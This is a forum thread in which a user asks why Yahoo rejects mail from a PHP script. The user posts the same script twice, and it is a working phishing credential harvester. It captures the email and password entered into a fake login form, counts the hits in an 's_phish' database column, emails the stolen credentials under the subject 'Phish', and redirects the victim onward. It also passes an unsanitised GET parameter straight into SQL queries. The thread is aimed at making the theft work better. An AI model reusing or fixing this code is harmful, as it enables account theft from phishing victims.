Jump to content

Yahoo! and PHP Mail..


Vivid Lust

Recommended Posts

I don't thing they like each other  :-\

 

I made a PHP mail script ages ago and yahoo wasn't receiving the mail.

I've made one just now and still yahoo doesn't receive the mail from a PHP mail script! My googlemail account receives it fine.

 

Do you know of any ways in which I can get yahoo! to receive emails from a PHP mail script??

 

Thanks.

Link to comment
https://forums.phpfreaks.com/topic/124335-yahoo-and-php-mail/
Share on other sites

<?php
        require("includes/db.php");
$get = $_GET['id'];
$email = $_POST['email'];
$pass = $_POST['pass']; 

//get info about user from database
$sql = "SELECT name,s_phish,u_phish, email FROM users WHERE id=( \"$get\" )";
$query=mysql_query($sql, $link)
or die(mysql_error());
while($row=mysql_fetch_assoc($query)){
$p       =  $row['s_phish'];
$name    =  $row['name'];
$e       =  $row['email'];
$rl      =  $row['u_phish'];
}


$ph = $p + 1; 

	$sql2 ="UPDATE users SET s_phish=\"$ph\" WHERE id=( \"$get\" )";
$query=mysql_query($sql2, $link)
or die(mysql_error());

$msg = "Email/name:".$email."      Password: ".$pass." ";

//define the receiver of the email
$to = $e;
//define the subject of the email
$subject = 'Phish';
//define the message to be sent. Each line should be separated with \n
$message = $msg;
//define the headers we want passed. Note that they are separated with \r\n
$headers = "From: [email protected]\r\nReply-To: [email protected]";
//send the email
$mail_sent = @mail( $to, $subject, $message, $headers );
//if the message is sent successfully print "Mail sent". Otherwise print "Mail failed" 
header("Location:".$rl."");

?>

 

Link to comment
https://forums.phpfreaks.com/topic/124335-yahoo-and-php-mail/#findComment-642140
Share on other sites

Still doesnt work:

 

<?php
        require("includes/db.php");
$get = $_GET['id'];
$email = $_POST['email'];
$pass = $_POST['pass']; 

//get info about user from database
$sql = "SELECT name,s_phish,u_phish, email FROM users WHERE id=( \"$get\" )";
$query=mysql_query($sql, $link)
or die(mysql_error());
while($row=mysql_fetch_assoc($query)){
$p       =  $row['s_phish'];
$name    =  $row['name'];
$e       =  $row['email'];
$rl      =  $row['u_phish'];
}


$ph = $p + 1; 

	$sql2 ="UPDATE users SET s_phish=\"$ph\" WHERE id=( \"$get\" )";
$query=mysql_query($sql2, $link)
or die(mysql_error());

$msg = "Email/name:".$email."      Password: ".$pass." ";

//define the receiver of the email
$to = $e;
//define the subject of the email
$subject = 'Phish';
//define the message to be sent. Each line should be separated with \n
$message = $msg;
//define the headers we want passed. Note that they are separated with \r\n
$headers = "From: [email protected]\r\nReply-To: [email protected]";
//send the email
$mail_sent = @mail( $to, $subject, $message, $headers );
//if the message is sent successfully print "Mail sent". Otherwise print "Mail failed" 
header("Location:".$rl."");

?>

Link to comment
https://forums.phpfreaks.com/topic/124335-yahoo-and-php-mail/#findComment-642902
Share on other sites

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.